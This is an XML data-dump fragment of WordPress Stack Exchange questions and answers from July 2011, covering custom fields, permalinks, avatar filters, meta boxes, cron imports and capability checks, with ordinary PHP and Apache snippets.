  <row Id="22718" PostTypeId="1" CreationDate="2011-07-12T10:09:19.220" Score="1" ViewCount="23" Body="&lt;p&gt;I have a custom field for a links page which takes a name and an URL and saves it in the post meta. However, I want the user to be able to click &quot;Add new link&quot; and a new custom box appears so they can essentially have unlimited links. Ideally a plugin would be perfect, or any tips into which techniques I should look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-07-12T10:09:19.220" Title="Allow user to create instances of custom field" Tags="&lt;custom-field&gt;&lt;post-meta&gt;&lt;links&gt;" CommentCount="0" />
  <row Id="22719" PostTypeId="2" ParentId="22715" CreationDate="2011-07-12T10:13:57.193" Score="1" ViewCount="" Body="&lt;p&gt;Ok, first of all &lt;strong&gt;never&lt;/strong&gt; change any of the core files. It will cause issues with updating WordPress. Secondly, there is no date shown in the default Recent Posts widget supplied with WordPress 3.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of WordPress are you using? Are you sure it's the default WordPress Recent Posts widget? &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-12T10:13:57.193" />
  <row Id="22721" PostTypeId="2" ParentId="22599" CreationDate="2011-07-12T10:35:25.523" Score="2" ViewCount="" Body="&lt;p&gt;The possibility that your custom TinyMCE code broke you theme is pretty, but please - &lt;em&gt;before&lt;/em&gt; trying to change or debug it - deactivate your plugins first and - if it doesn't help - switch to the default theme and see if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then take a look at your &lt;code&gt;meta_genus_species()&lt;/code&gt; function and start commenting out the &lt;code&gt;ed.addButton&lt;/code&gt; blocks of code. See if it works. If it does, uncomment one, check the result, uncomment the next one, etc.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-12T10:35:25.523" CommentCount="1" />
  <row Id="22722" PostTypeId="2" ParentId="22706" CreationDate="2011-07-12T10:47:47.463" Score="0" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://plugins.jquery.com/project/jpaging&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jpaging&lt;/strong&gt;&lt;/a&gt; before which is simple ,easy and highly customizable.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T10:47:47.463" />
  <row Id="22723" PostTypeId="2" ParentId="22711" CreationDate="2011-07-12T10:59:11.010" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure this is the best way but it works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//First get all child categories if 'big_corporates'&#xA;$categories = $args = array(&#xA;    'parent'                   =&amp;gt; $big_corporates_ID,&#xA;    'orderby'                  =&amp;gt; 'name',&#xA;    'order'                    =&amp;gt; 'ASC',&#xA;    'hide_empty'               =&amp;gt; 1,&#xA;    'taxonomy'                 =&amp;gt; 'projects_category'&#xA;    );&#xA;&#xA;//then loop over them and get the first post of each:&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($categories as $category) {&#xA;    $projects = get_posts(array('numberposts' =&amp;gt; 1, 'post_type' =&amp;gt; 'projects', 'projects_category' =&amp;gt; $category-&amp;gt;slug));&#xA;    foreach( $projects as $project ) {&#xA;        setup_postdata($project);&#xA;        ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;?php echo $category-&amp;gt;name; ?&amp;gt; - &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php&#xA;    }&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T10:59:11.010" CommentCount="1" />
  <row Id="22724" PostTypeId="1" CreationDate="2011-07-12T11:33:21.667" Score="0" ViewCount="169" Body="&lt;p&gt;I'm having a problem with Wordpress permalinks. I change the permalinks to pretty permalinks but I am just getting 404s for the pages now. The strange thing is when I use /index.php/%postname% the page links work fine, but I need to get rid of the index.php part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about making changes to httpd.conf file but can't find the file anywhere. The htaccess file is correct as far as I can find out, it's below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Emma&lt;/p&gt;&#xA;" OwnerUserId="6966" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-12T11:40:31.893" LastActivityDate="2011-08-15T16:24:41.770" Title="Why permalinks work with /index.php/%postname% but not with just %postname%?" Tags="&lt;plugin-custom-permalinks&gt;" AnswerCount="4" CommentCount="8" />
  <row Id="22726" PostTypeId="2" ParentId="22191" CreationDate="2011-07-12T11:54:33.783" Score="2" ViewCount="" Body="&lt;p&gt;I'm about to finish a project were i needed about the same requirements as you listed and i've got some answers for you &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Does anyone have first hand experience using Magic Members. If so&#xA;  is it worth the $197. Do you have any recommendations an an alternative?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't say that i have used it or heard bad things about it and if it does what they say then it sounds great. I have used &lt;a href=&quot;http://wordpress.org/extend/plugins/s2member/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;s2Member&lt;/strong&gt;&lt;/a&gt; which is simple and very intuitive (it also has a  large video tutorials library).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it gives you the ability to have a Membership access control on various levels , Public and Private content (which i would also recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/user-specific-content/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;my plugin&lt;/strong&gt;&lt;/a&gt; for that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Content Available to Author created content that can only be&#xA;  changed/updated by them and the Administrator&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;that is the default behavior of an Author role in WordPress.  &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-12T11:54:33.783" CommentCount="1" />
  <row Id="22727" PostTypeId="1" CreationDate="2011-07-12T12:05:15.417" Score="1" ViewCount="24" Body="&lt;p&gt;Whenever I click on a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element within a form, it opens not only the relevant dropdown but at the same time the first dropdown menu of the admin menu bar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be an issue with &lt;em&gt;Google Chrome&lt;/em&gt;, as this doesn't happen with &lt;em&gt;Firefox&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone else have the same issue ? Any ideas about how to fix it ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-12T12:05:15.417" Title="Admin menu bar dropdown opens when I click on a form &lt;select&gt; element (Chrome)" Tags="&lt;admin-menu&gt;&lt;dropdown&gt;&lt;select&gt;&lt;google-chrome&gt;" CommentCount="3" />
  <row Id="22728" PostTypeId="1" AcceptedAnswerId="22729" CreationDate="2011-07-12T12:10:36.377" Score="2" ViewCount="126" Body="&lt;p&gt;I used a WP hack for displaying author's pics. For example, my single.php has an author slug which displays the author's pic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a folder called authors in my theme/images folder. Based on the author's ID, I name the file 1.jpg, 2.jpg and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I call this image as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory') ?&amp;gt;/images/authors/&amp;lt;?php the_author_ID()?&amp;gt;.jpg&quot; alt=&quot;&amp;lt;?php the_author(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i'm modifying a plugin that displays the authors in the sidebar. However this plugin uses the get_avatar function, which is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;                 * If show avatar option is checked, add get_avatar function to cache.&#xA;                 */&#xA;                if($jmetc_options['show_avatar'] == 1) {&#xA;                    $jmevar['cache'] .= get_avatar($tc-&amp;gt;comment_author_email, $jmetc_options['avatar_size']);&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone advise me on how to use/modify the get_avatar in order to use the default code that I use?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-12T13:55:28.033" Title="Alternative to using get_avatar function?" Tags="&lt;avatar&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22729" PostTypeId="2" ParentId="22728" CreationDate="2011-07-12T12:20:09.503" Score="3" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;get_avatar()&lt;/code&gt; function applies a &lt;code&gt;get_avatar&lt;/code&gt; filter hook, that you can use to change the avatar markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; this would be the correct way to hook into this filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_avatar( $avatar ) {&#xA;    $avatar = '&amp;lt;img src=&quot;&amp;lt;' . get_template_directory_uri() . '/images/authors/' . get_the_author_ID() . '.jpg&quot; alt=&quot;' . get_the_author() . '&quot;&amp;gt;';&#xA;    return $avatar;&#xA;}&#xA;add_filter( 'get_avatar', 'mytheme_get_avatar' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. a nice alternative to this approach might be the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt; Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filter is applied using &lt;code&gt;add_filter()&lt;/code&gt;, not &lt;code&gt;apply_filters()&lt;/code&gt;. That was a typo on my part; fixed now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is correct:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;P.S: Just to clarify.. I replaced&#xA;  &lt;code&gt;get_avatar($tc-&amp;gt;comment_author_email, $jmetc_options['avatar_size']);&lt;/code&gt;&#xA;  with &lt;code&gt;add_filter('get_avatar', $avatar, $id_or_email, $size, $default,&#xA;  $alt);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First, you still call &lt;code&gt;get_avatar()&lt;/code&gt; in your template file, passing all the same parameters as previous. The &lt;code&gt;add_filter()&lt;/code&gt; call belongs in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you can pass additional parameters to your filter function; e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_avatar( $avatar, $id_or_email, $size ) {&#xA;    $avatar = '&amp;lt;img src=&quot;&amp;lt;' . get_template_directory_uri() . '/images/authors/' . $id_or_email . '.jpg&quot; alt=&quot;' . get_the_author() . '&quot; width=&quot;' . $size . 'px&quot; height=&quot;' . $size . 'px&quot; /&amp;gt;';&#xA;    return $avatar;&#xA;}&#xA;add_filter( 'get_avatar', 'mytheme_get_avatar' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-12T13:55:28.033" LastActivityDate="2011-07-12T13:55:28.033" CommentCount="4" />
  <row Id="22730" PostTypeId="2" ParentId="22698" CreationDate="2011-07-12T12:21:36.040" Score="1" ViewCount="" Body="&lt;p&gt;I managed to hack this together using wp_get_object_terms. The &lt;code&gt;'orderby' =&amp;gt; 'term_id'&lt;/code&gt; was most helpful. It's probably not the best method, but seems to work fine. Because the child terms (suburbs) are always created after the parent terms (Cities), they will always have a higher ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$terms = wp_get_object_terms($post-&amp;gt;ID, 'location', array('orderby' =&amp;gt; 'term_id', 'order' =&amp;gt; 'DESC') );&#xA;&#xA;if ( !empty( $terms ) ) :&#xA;&#xA;    $location = array();&#xA;    foreach ( $terms as $term ) {&#xA;         $location[] = $term-&amp;gt;name;&#xA;    }&#xA;    echo implode(', ', $location);  &#xA;&#xA;endif; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-12T12:21:36.040" />
  <row Id="22731" PostTypeId="1" CreationDate="2011-07-12T13:19:58.890" Score="0" ViewCount="51" Body="&lt;p&gt;I've been running a wp 3.0 site and recently needed to update apache and php.  The upgrade went fine but some of the core wp functionality has been lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I go into a post and attempt to use the media upload utility.  I can use the the file upload functions from the first 2 tabs but when I try to view the Gallery or the Library Firefox prompts to open or save the file, rather than returning the Gallery html.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted the same thing in Chrome and ended up with a screen stating&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No data received&#xA;Unable to load the webpage because the server sent no data.&#xA;Here are some suggestions:&#xA;Reload this web page later.&#xA;Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already checked the apache config file and the following is included in it.&#xA;Though not in that order they are all in the file at some location and were there previous to the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LoadModule php5_module        libexec/apache22/libphp5.so&#xA;DirectoryIndex index.html index.php&#xA;AddType application/x-httpd-php .php&#xA;AddType application/x-httpd-php-source .phps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also checked the mime.types file to make sure there wasn't any mime-types in there and there wasn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has had this happen to them it would be a great assistance in letting me know what's going on.&lt;/p&gt;&#xA;" OwnerUserId="6971" LastActivityDate="2011-07-12T13:19:58.890" Title="media-upload.php promts to open or save a file when clicking the gallery or library tab" Tags="&lt;media-upload&gt;&lt;apache&gt;&lt;configuration&gt;" CommentCount="4" />
  <row Id="22732" PostTypeId="1" CreationDate="2011-07-12T14:19:15.190" Score="1" ViewCount="33" Body="&lt;p&gt;I am having a huge argument with Wordpress, and this is my last port of call before I throw the PC out of the window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a plugin here that exports an XML feed into Wordpress posts. The posts have an image which is saved locally, the HTML to display the image is then inserted at the beginning of the post content, before being inserted into Wordpress using wp_insert_post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a slight issue though. The script works fine when it is turned on manually. But as soon as it triggered by cron, the post will import fine, but the image will not save locally, and the HTML for the image is not present in the posts content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really am at a loose end. I thought it was to do with permissions, and the fact that the posts were being imported with no author. I then changed it so they were marked as written by an admin, but that made no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem of running it via cron vs running it manually when logged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help solve this then I will be eternally grateful!&lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2011-08-15T02:24:26.443" Title="Certain actions failing when run through cron" Tags="&lt;plugins&gt;&lt;cron&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="22733" PostTypeId="1" AcceptedAnswerId="22737" CreationDate="2011-07-12T14:20:46.483" Score="1" ViewCount="63" Body="&lt;p&gt;I am getting errors in the server log for cformsII plugin but don't understand why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Notice:  Undefined index: b in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 12&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: f in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 15&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: f1 in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 18&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: f2 in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 19&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: a1 in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 21&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: a2 in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 22&#xA;[Tue Jul 12 15:02:26 2011] [error] [client 172.18.30.81] PHP Notice:  Undefined index: l in /var/www/wordpressmu/wp-content/plugins/cforms/cforms-captcha.php on line 30&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The url to the captcha image is&#xA;  &lt;a href=&quot;http://mysite/wp-content/plugins/cforms/cforms-captcha.php?ts=3&amp;amp;c1=4&amp;amp;c2=5&amp;amp;ac=abcdefghijkmnpqrstuvwxyz23456789&amp;amp;i=i&amp;amp;w=115&amp;amp;h=25&amp;amp;c=#A6BEA4&amp;amp;l=000066&amp;amp;f=font4.ttf&amp;amp;a1=-20&amp;amp;a2=11&amp;amp;f1=17&amp;amp;f2=19&amp;amp;b=12.gif&amp;amp;rnd=448710&quot; rel=&quot;nofollow&quot;&gt;http://mysite/wp-content/plugins/cforms/cforms-captcha.php?ts=3&amp;amp;c1=4&amp;amp;c2=5&amp;amp;ac=abcdefghijkmnpqrstuvwxyz23456789&amp;amp;i=i&amp;amp;w=115&amp;amp;h=25&amp;amp;c=#A6BEA4&amp;amp;l=000066&amp;amp;f=font4.ttf&amp;amp;a1=-20&amp;amp;a2=11&amp;amp;f1=17&amp;amp;f2=19&amp;amp;b=12.gif&amp;amp;rnd=448710&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see the variables throwing errors are included in the querystring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is happening against this statement (prep being a function which strips slashes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$im_bg_url      = 'captchabg/' . ( prep($_REQUEST['b'],'1.gif') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="970" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-12T14:50:40.003" LastActivityDate="2011-07-12T14:53:52.440" Title="Undefined index: b in /path/file.php relating to querystring parameters" Tags="&lt;plugin-cforms&gt;&lt;query-string&gt;&lt;captcha&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22734" PostTypeId="1" CreationDate="2011-07-12T14:37:27.590" Score="0" ViewCount="87" Body="&lt;p&gt;This is probably really simple, but I just can't figure it out.&#xA;So I change the input form on my comment form php.&#xA;The changed snipped looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/3Mj1XHGJ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/3Mj1XHGJ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet when somebody doesn't click on &quot;Website&quot; at all, still a &quot;http://Website&quot; link will be generated for some. Is there any way to make it so that there won't be any url display if they haven't inserted a website url at all?&#xA;Right now only when I click on the &quot;Website input&quot; textarea and make the &quot;Website&quot; text actually disappear it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The following is just a side question and I'm also not sure if it's okay to ask this, so you might as well ignore this):&#xA;I also wanted to insert little icons in front of the text (before Website, Mail etc.)&#xA;I know how to do it (just as background image using the stylesheet), but I'm already using a background image and I was wondering if there's another way round as using two background images won't work. Probably I have to rewrite the comment.php a bit instead, but I don't think it's possible to insert a &quot;img src&quot; into the input command?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is &lt;a href=&quot;http://www.zoomingjapan.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance! :D&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-09-01T23:38:51.030" Title="Commentform input area issue" Tags="&lt;comment-form&gt;" AnswerCount="2" />
  <row Id="22735" PostTypeId="1" CreationDate="2011-07-12T14:42:57.900" Score="0" ViewCount="163" Body="&lt;p&gt;i am writing a plugin inside a class and i have created my $meta_boxes, i am able to retrieve all fields but they are duplicated and in the same table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my code for add $meta_boxes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ri_add_custom_box() {&#xA;    global $prefix, $meta_box, $meta_boxes;&#xA;&#xA;&#xA;$prefix = '_ri_custom_meta_'; // a custom prefix to help us avoid pulling data from the wrong meta box&#xA;$meta_boxes = array();&#xA;&#xA;$meta_boxes[] = array(  &#xA;'id' =&amp;gt; 'ri_meta_box_panel1', // the id of our meta box&#xA;'title' =&amp;gt; 'Test1', // the title of the meta box&#xA;'page' =&amp;gt; 'ri_my_page', // display this meta box on post editing screens&#xA;'context' =&amp;gt; 'side',&#xA;'priority' =&amp;gt; 'high', // keep it near the top&#xA;    'fields' =&amp;gt; array( // all of the options inside of our meta box&#xA;        array(&#xA;            'name' =&amp;gt; 'Test1:',&#xA;            'desc' =&amp;gt; 'Test1',&#xA;            'id' =&amp;gt; $prefix . 'Test1',&#xA;            'type' =&amp;gt; 'text',&#xA;            'std' =&amp;gt; ''&#xA;        ),&#xA;    )&#xA;);&#xA;&#xA;$meta_boxes[] = array(  &#xA;'id' =&amp;gt; 'ri_meta_box_panel2', // the id of our meta box&#xA;'title' =&amp;gt; 'Test2', // the title of the meta box&#xA;'page' =&amp;gt; 'ri_my_page', // display this meta box on post editing screens&#xA;'context' =&amp;gt; 'side',&#xA;'priority' =&amp;gt; 'high', // keep it near the top&#xA;    'fields' =&amp;gt; array( // all of the options inside of our meta box&#xA;        array(&#xA;            'name' =&amp;gt; 'Test2:',&#xA;            'desc' =&amp;gt; 'Test2',&#xA;            'id' =&amp;gt; $prefix . 'Test2',&#xA;            'type' =&amp;gt; 'text',&#xA;            'std' =&amp;gt; ''&#xA;        ),&#xA;    )&#xA;);&#xA;&#xA;foreach ($meta_boxes as $meta_box) {&#xA;    new Ri($meta_box);&#xA;    add_meta_box($meta_box['id'], $meta_box['title'], array(&amp;amp;$this, 'ri_display_metaboxes'), $meta_box['page'], $meta_box['context'], $meta_box['priority']);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is my code for display $meta_boxes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ri_display_metaboxes() {&#xA;    global $meta_box, $meta_boxes, $post;&#xA;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;ri_meta_box_nonce&quot; value=&quot;', wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;    echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;        foreach ($meta_boxes as $meta_box) {&#xA;            foreach ($meta_box['fields'] as $field) {&#xA;&#xA;            $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;    echo '&amp;lt;tr&amp;gt;', // create a table row for each option&#xA;                '&amp;lt;th style=&quot;width:20%&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;                '&amp;lt;td&amp;gt;';&#xA;        switch ($field['type']) {&#xA;&#xA;            case 'text': // the HTML to display for type=text options&#xA;                echo '&amp;lt;input type=&quot;text&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot; value=&quot;', $meta ? $meta : $field['std'], '&quot; size=&quot;30&quot; style=&quot;width:97%&quot; /&amp;gt;', '&#xA;', $field['desc'];&#xA;                break;     &#xA;&#xA;            case 'textarea': // the HTML to display for type=textarea options&#xA;                echo '&amp;lt;textarea name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot; cols=&quot;60&quot; rows=&quot;8&quot; style=&quot;width:97%&quot;&amp;gt;', $meta ? $meta : $field['std'], '&amp;lt;/textarea&amp;gt;', '&#xA;', $field['desc'];&#xA;                break;&#xA;&#xA;            case 'select': // the HTML to display for type=select options&#xA;                echo '&amp;lt;select name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;&amp;gt;';&#xA;                foreach ($field['options'] as $option) {&#xA;                    echo '&amp;lt;option', $meta == $option ? ' selected=&quot;selected&quot;' : '', '&amp;gt;', $option, '&amp;lt;/option&amp;gt;';&#xA;                }&#xA;                echo '&amp;lt;/select&amp;gt;';&#xA;                break;&#xA;&#xA;            case 'radio': // the HTML to display for type=radio options&#xA;                foreach ($field['options'] as $option) {&#xA;                    echo '&amp;lt;input type=&quot;radio&quot; name=&quot;', $field['id'], '&quot; value=&quot;', $option['value'], '&quot;', $meta == $option['value'] ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;', $option['name'];&#xA;                }&#xA;                break;&#xA;&#xA;            case 'checkbox': // the HTML to display for type=checkbox options&#xA;                echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;';&#xA;                break;&#xA;&#xA;        }&#xA;        echo     '&amp;lt;td&amp;gt;',&#xA;            '&amp;lt;/tr&amp;gt;';&#xA;                }&#xA;            }&#xA;        echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to display in the first metabox Test1 and in second metabox Test2 like this&#xA;Metabox1&#xA;Test1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metabox2&#xA;Test2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but now with this code i have &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metabox1&#xA;Test1&#xA;Test2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metabox2&#xA;Test1&#xA;Test2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad english.&#xA;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4537" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-12T15:46:48.077" LastActivityDate="2011-08-15T18:24:45.690" Title="How to display multiple $meta_boxes into separate tables" Tags="&lt;metabox&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="22736" PostTypeId="1" AcceptedAnswerId="22848" CreationDate="2011-07-12T14:49:45.660" Score="0" ViewCount="32" Body="&lt;p&gt;I'm trying to do some capability checks on comment authors using the user_can() function, but for some reason it isn't working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom capability setup with the Role Manager plugin called &quot;read_citizen&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My check looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(user_can($commentAuthor-&amp;gt;user_id, 'read_citizen') {&#xA;   //do stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have confirmed that the $commentAuthor object is set correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-13T16:15:48.253" Title="user_can() not working for comment authors" Tags="&lt;user-roles&gt;&lt;capabilities&gt;&lt;user-can&gt;" AnswerCount="1" CommentCount="12" />
